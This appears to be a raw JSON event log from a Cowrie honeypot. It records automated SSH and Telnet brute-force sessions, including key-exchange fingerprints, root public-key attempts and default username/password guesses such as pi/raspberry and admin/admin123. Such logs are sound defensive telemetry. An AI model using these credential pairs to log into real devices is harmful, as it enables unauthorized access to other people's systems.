{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.090966Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:63:e7:fd:65:a6:b2:93:f1:c1:a9:7b:b2:ad:3e:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6KHp1QxWKZbXkT28Y99cXUmIycD6CvHp5vao8t5ugIJTwWT6cKeLCqAWJop07D8aXuEslzd2sfRhOaL12HnMxKMwGdJF0zzUhvLnds+3cZn7HZ1UaQuWFL9srgqhyAOHgornbspWm8UKMzKO48e8fDXv82HcmGfGGjvXAtgiOXR5E0ggVwWgx0V9sDbSkqUADOoK+Bh9qTRenHzRlwo2EzYAbIbcRo+RYRJnX4kiKvTZPWwvIGQIfDU2Xj6YGg9OpoQyxLZYUd8yPUJy1C4r7xyLB+HJ3axW5RDJPhGqgm59SBp+KP4XD223Sl8Ncrc0GJkTnUhcntn8m9IO8c/zVThBd46NpwZ34WnvIVi9IIy+QhrTlSKP0Egqu9OyPE3J8U7Qv6+mrq5tCHOsOXG52nz3ljtAyHmgUuuEvt3mfvSta2SkJPC6dMdTMV9sfUWOKWs24Vqrb4eYCGhlwhMN/iqnzJGbG5+2/gAYfrQFWMAPdlGxjlnWO0WoAYeY3Ni7UyvV7wymvuHNatowrdQqRGA0Y5qFtuewqd5lHJvi4xE2RlKwPftGiOhti0rU8KkqLhEEM7eg8joOlp7liR7J0aZmWQeBCAzrwAKgLWOL66hrz7ZApYaVzTDHiP7xqB1VJ1/7kQpm8kGDATj/FLGW5g2IW2Cni819zOcF9Gk4ncw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:63:e7:fd:65:a6:b2:93:f1:c1:a9:7b:b2:ad:3e:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.483455Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:63:e7:fd:65:a6:b2:93:f1:c1:a9:7b:b2:ad:3e:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6KHp1QxWKZbXkT28Y99cXUmIycD6CvHp5vao8t5ugIJTwWT6cKeLCqAWJop07D8aXuEslzd2sfRhOaL12HnMxKMwGdJF0zzUhvLnds+3cZn7HZ1UaQuWFL9srgqhyAOHgornbspWm8UKMzKO48e8fDXv82HcmGfGGjvXAtgiOXR5E0ggVwWgx0V9sDbSkqUADOoK+Bh9qTRenHzRlwo2EzYAbIbcRo+RYRJnX4kiKvTZPWwvIGQIfDU2Xj6YGg9OpoQyxLZYUd8yPUJy1C4r7xyLB+HJ3axW5RDJPhGqgm59SBp+KP4XD223Sl8Ncrc0GJkTnUhcntn8m9IO8c/zVThBd46NpwZ34WnvIVi9IIy+QhrTlSKP0Egqu9OyPE3J8U7Qv6+mrq5tCHOsOXG52nz3ljtAyHmgUuuEvt3mfvSta2SkJPC6dMdTMV9sfUWOKWs24Vqrb4eYCGhlwhMN/iqnzJGbG5+2/gAYfrQFWMAPdlGxjlnWO0WoAYeY3Ni7UyvV7wymvuHNatowrdQqRGA0Y5qFtuewqd5lHJvi4xE2RlKwPftGiOhti0rU8KkqLhEEM7eg8joOlp7liR7J0aZmWQeBCAzrwAKgLWOL66hrz7ZApYaVzTDHiP7xqB1VJ1/7kQpm8kGDATj/FLGW5g2IW2Cni819zOcF9Gk4ncw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.487532Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:c1:54:43:a9:c8:ee:ac:10:3c:bb:fe:a1:f0:e7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdC3xCt6QNUv9ye7BbXULdloB+VwAYhTcxwY48aJU7LCzF5+LPEjiT/u7DhR55Svuw85TCG7O2IxNQ9TQxYOJfa0oIjh+mtcn4AUW26IXZ89An0HSoWSpfLht2hHdmlsjnC7ZjKGHfAm/KJU9zWqeuypOF3epzUKi76taV4YW6ZtcygUPQKDm5bnSBxRYa2Vy7X4R7quszayhOwr/dCK/0M+mPuhjL+BKjajtAUjnehipWUmP8AMDztDzVzGRxG/is2XuaeviU4719BgSccmV4ioj4jIEmc3BNxVBkV3OUvt6HKn2MVYk6MT9yW71Dg2K9k//jIl6ws884Cyx418iuvmjFqX6imh766SMGgKms8VVo5gZzlOXEDaOJRcpXLIteFMzRu+bSyIFDUgcDb+bN2fJmo5R+QWgflruAkOK3VCM9SYqGxq8NEK689aVBDZf7TK8H93HLEeP3jVJBUoWHHRUG5ohY+JBTgWOlPOU2GWPs5zuFtfPD7OjLeKNYCnRX3I3h075tQkKvlSyRv0Dr4GySI+9siTr81okyJpKUxHOP6Cq51wlLb4Z27jJ60LXMWLi0jJpQ8441KTJ5z41G1P1WFpgd5/y6sV+VrwrjdyrNiahr91k/z2OUuRR8piy+xXHV9mBImjhBOQoi3XRHbh18TZvaMUkuxqn3+1XKsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:c1:54:43:a9:c8:ee:ac:10:3c:bb:fe:a1:f0:e7:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.572285Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:c1:54:43:a9:c8:ee:ac:10:3c:bb:fe:a1:f0:e7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdC3xCt6QNUv9ye7BbXULdloB+VwAYhTcxwY48aJU7LCzF5+LPEjiT/u7DhR55Svuw85TCG7O2IxNQ9TQxYOJfa0oIjh+mtcn4AUW26IXZ89An0HSoWSpfLht2hHdmlsjnC7ZjKGHfAm/KJU9zWqeuypOF3epzUKi76taV4YW6ZtcygUPQKDm5bnSBxRYa2Vy7X4R7quszayhOwr/dCK/0M+mPuhjL+BKjajtAUjnehipWUmP8AMDztDzVzGRxG/is2XuaeviU4719BgSccmV4ioj4jIEmc3BNxVBkV3OUvt6HKn2MVYk6MT9yW71Dg2K9k//jIl6ws884Cyx418iuvmjFqX6imh766SMGgKms8VVo5gZzlOXEDaOJRcpXLIteFMzRu+bSyIFDUgcDb+bN2fJmo5R+QWgflruAkOK3VCM9SYqGxq8NEK689aVBDZf7TK8H93HLEeP3jVJBUoWHHRUG5ohY+JBTgWOlPOU2GWPs5zuFtfPD7OjLeKNYCnRX3I3h075tQkKvlSyRv0Dr4GySI+9siTr81okyJpKUxHOP6Cq51wlLb4Z27jJ60LXMWLi0jJpQ8441KTJ5z41G1P1WFpgd5/y6sV+VrwrjdyrNiahr91k/z2OUuRR8piy+xXHV9mBImjhBOQoi3XRHbh18TZvaMUkuxqn3+1XKsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.576622Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:7e:21:44:46:21:f9:c9:df:4a:29:25:06:32:52:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOEAr6ZVlW2VmbQ+5Ju2AEkxnImKmEjhkujOu8UKocQg/Lr3mIDYTL7NjxQ/ijvXjkD6SQ27SvI+gZXjgOPHlBeg8qUwvIMILafcmNB/JvHXjFfkolElLcpwt/bc/sDvN6z2c7CB0vFxviC8JBbnrlQ5PZWF+w3Zzxg0eAIb3a0vNUIyVBFsj/8FAruvXscOKcKTyDEAkf8S+S2L4EBUFzYe6UK2K8ade6geSaCdXeDeUz0Qd2KFn3snzlMMh8X+H3xxicDa7K5v8FWjzSr7jWoqXbmcTxn1J6riFkKqJgF1AEeMLDdNwACohXb7rhyfWSSfdJGjQphnFjfoamGe3r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:7e:21:44:46:21:f9:c9:df:4a:29:25:06:32:52:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.660453Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:7e:21:44:46:21:f9:c9:df:4a:29:25:06:32:52:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOEAr6ZVlW2VmbQ+5Ju2AEkxnImKmEjhkujOu8UKocQg/Lr3mIDYTL7NjxQ/ijvXjkD6SQ27SvI+gZXjgOPHlBeg8qUwvIMILafcmNB/JvHXjFfkolElLcpwt/bc/sDvN6z2c7CB0vFxviC8JBbnrlQ5PZWF+w3Zzxg0eAIb3a0vNUIyVBFsj/8FAruvXscOKcKTyDEAkf8S+S2L4EBUFzYe6UK2K8ade6geSaCdXeDeUz0Qd2KFn3snzlMMh8X+H3xxicDa7K5v8FWjzSr7jWoqXbmcTxn1J6riFkKqJgF1AEeMLDdNwACohXb7rhyfWSSfdJGjQphnFjfoamGe3r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.663984Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:bf:6f:18:d1:62:5d:ac:80:3f:2e:3d:a2:9d:1d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbFE14/jplJx5g93p8M8FqM8KOZFjAAGRJyN6fKBw4C4cjvFUz5PK2oYUBAZbO0q/t0K3tVUvQrTrx+zQsAv8OA0FN7t1/bMCfPYAaY0vI7+ecSFWdurRqCncEnCb0wIA6c+etJcze9E94VAPSWuooW8Oa0BXiwl20/mu80gl/5/zMKARIGa+5d3trnefJQatIpb0BxRORRQCMBTaz+DvH5xbyuWpAvYNYXPDxwc3LGDnHl2eTJXluu6BhPouAHdIYrKRPGe1nI9xr8GG4Tv8FwS4xAJTZXj5GVe471ffYdw7njDAjYpn4U0aA5YOs1ZE7NMMW5bAWzRkjEI5ZXb6z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:bf:6f:18:d1:62:5d:ac:80:3f:2e:3d:a2:9d:1d:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.747819Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:bf:6f:18:d1:62:5d:ac:80:3f:2e:3d:a2:9d:1d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbFE14/jplJx5g93p8M8FqM8KOZFjAAGRJyN6fKBw4C4cjvFUz5PK2oYUBAZbO0q/t0K3tVUvQrTrx+zQsAv8OA0FN7t1/bMCfPYAaY0vI7+ecSFWdurRqCncEnCb0wIA6c+etJcze9E94VAPSWuooW8Oa0BXiwl20/mu80gl/5/zMKARIGa+5d3trnefJQatIpb0BxRORRQCMBTaz+DvH5xbyuWpAvYNYXPDxwc3LGDnHl2eTJXluu6BhPouAHdIYrKRPGe1nI9xr8GG4Tv8FwS4xAJTZXj5GVe471ffYdw7njDAjYpn4U0aA5YOs1ZE7NMMW5bAWzRkjEI5ZXb6z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.751215Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:00:18:be:81:02:5f:b6:97:82:d6:ab:0b:3a:49:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0rUF5Kp+M5+xxZ7YcK2YD+rMJ2Z1tCqnaUXZzIRbce/fGLsgn00SqdUE4tY1kkEdXnINrEN1lffI1z8Kt2Uj7ur4qbXT8fOjMPF0Y5DoIieZKnOL3j+ez+yNC/9d6IFcwiN8vPEBRz3JEAUTKQF+YPHMhfVi7fjcYGAP8lnodH6CIL0i6UMCgvC7hKR89HHd9NiaoM5MeyiI1yzmZ+zYWLM+AueVh0oHAdaD5cfC5IZNBdhqGqqLQuc6KmqIHanp/tAVDaqWSpmRAx+WSeqk4CisbJkS9DPt4YNtRj0qIXTyLagAU9yuFFFvCyLDA+5i7u70zRqgRBgJn9EDiXFLb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:00:18:be:81:02:5f:b6:97:82:d6:ab:0b:3a:49:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.837378Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:00:18:be:81:02:5f:b6:97:82:d6:ab:0b:3a:49:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0rUF5Kp+M5+xxZ7YcK2YD+rMJ2Z1tCqnaUXZzIRbce/fGLsgn00SqdUE4tY1kkEdXnINrEN1lffI1z8Kt2Uj7ur4qbXT8fOjMPF0Y5DoIieZKnOL3j+ez+yNC/9d6IFcwiN8vPEBRz3JEAUTKQF+YPHMhfVi7fjcYGAP8lnodH6CIL0i6UMCgvC7hKR89HHd9NiaoM5MeyiI1yzmZ+zYWLM+AueVh0oHAdaD5cfC5IZNBdhqGqqLQuc6KmqIHanp/tAVDaqWSpmRAx+WSeqk4CisbJkS9DPt4YNtRj0qIXTyLagAU9yuFFFvCyLDA+5i7u70zRqgRBgJn9EDiXFLb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.843483Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.929064Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.89377188682556,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:48.805672Z","src_ip":"176.65.139.118","session":"bcf92aaf710b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead9aa459af8","protocol":"telnet","message":"New connection: 176.65.139.118:33912 (159.203.135.109:23) [session: ead9aa459af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:49.025386Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:53.634853Z","src_ip":"176.65.139.118","session":"ead9aa459af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.791100263595581,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:55.816338Z","src_ip":"176.65.139.118","session":"ead9aa459af8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54272,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec61edff5744","protocol":"telnet","message":"New connection: 176.65.139.118:54272 (159.203.135.109:23) [session: ec61edff5744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:55.961843Z"}
{"eventid":"cowrie.session.closed","duration":2.3858108520507812,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:58.347532Z","src_ip":"176.65.139.118","session":"ec61edff5744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":58698,"dst_ip":"159.203.135.109","dst_port":23,"session":"847eec50008d","protocol":"telnet","message":"New connection: 176.65.139.118:58698 (159.203.135.109:23) [session: 847eec50008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:59.525157Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:05.316829Z","src_ip":"176.65.139.118","session":"847eec50008d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.161487579345703,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:07.686487Z","src_ip":"176.65.139.118","session":"847eec50008d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":32918,"dst_ip":"159.203.135.109","dst_port":23,"session":"802bdcc2a1f9","protocol":"telnet","message":"New connection: 176.65.139.118:32918 (159.203.135.109:23) [session: 802bdcc2a1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:07.903742Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51550,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9814850427f","protocol":"ssh","message":"New connection: 103.173.227.57:51550 (10.17.0.5:22) [session: e9814850427f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:14.819318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:14.823531Z","src_ip":"103.173.227.57","session":"e9814850427f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:15.061825Z","src_ip":"103.173.227.57","session":"e9814850427f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:15.312335Z","src_ip":"176.65.139.118","session":"802bdcc2a1f9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:15.419809Z","src_ip":"176.65.139.118","session":"802bdcc2a1f9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tktyf","message":"login attempt [root/tktyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:15.778246Z","src_ip":"103.173.227.57","session":"e9814850427f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:16.337045Z","src_ip":"176.65.139.118","session":"802bdcc2a1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.4497971534729,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:16.353483Z","src_ip":"176.65.139.118","session":"802bdcc2a1f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ef3c07419aa","protocol":"telnet","message":"New connection: 176.65.139.118:57414 (159.203.135.109:23) [session: 7ef3c07419aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:16.415385Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:17.020435Z","src_ip":"103.173.227.57","session":"e9814850427f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.330939292907715,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:22.746199Z","src_ip":"176.65.139.118","session":"7ef3c07419aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38970,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fcccf66cf52","protocol":"telnet","message":"New connection: 176.65.139.118:38970 (159.203.135.109:23) [session: 4fcccf66cf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:22.947479Z"}
{"eventid":"cowrie.session.closed","duration":2.3509950637817383,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:25.298342Z","src_ip":"176.65.139.118","session":"4fcccf66cf52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42966,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77f97244816","protocol":"telnet","message":"New connection: 176.65.139.118:42966 (159.203.135.109:23) [session: a77f97244816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:25.541567Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:30.706730Z","src_ip":"176.65.139.118","session":"a77f97244816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.169126510620117,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:31.710565Z","src_ip":"176.65.139.118","session":"a77f97244816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":46616,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc88c74721b4","protocol":"telnet","message":"New connection: 176.65.139.118:46616 (159.203.135.109:23) [session: bc88c74721b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:32.015126Z"}
{"eventid":"cowrie.session.closed","duration":2.1970865726470947,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:34.211937Z","src_ip":"176.65.139.118","session":"bc88c74721b4","protocol":"telnet"}
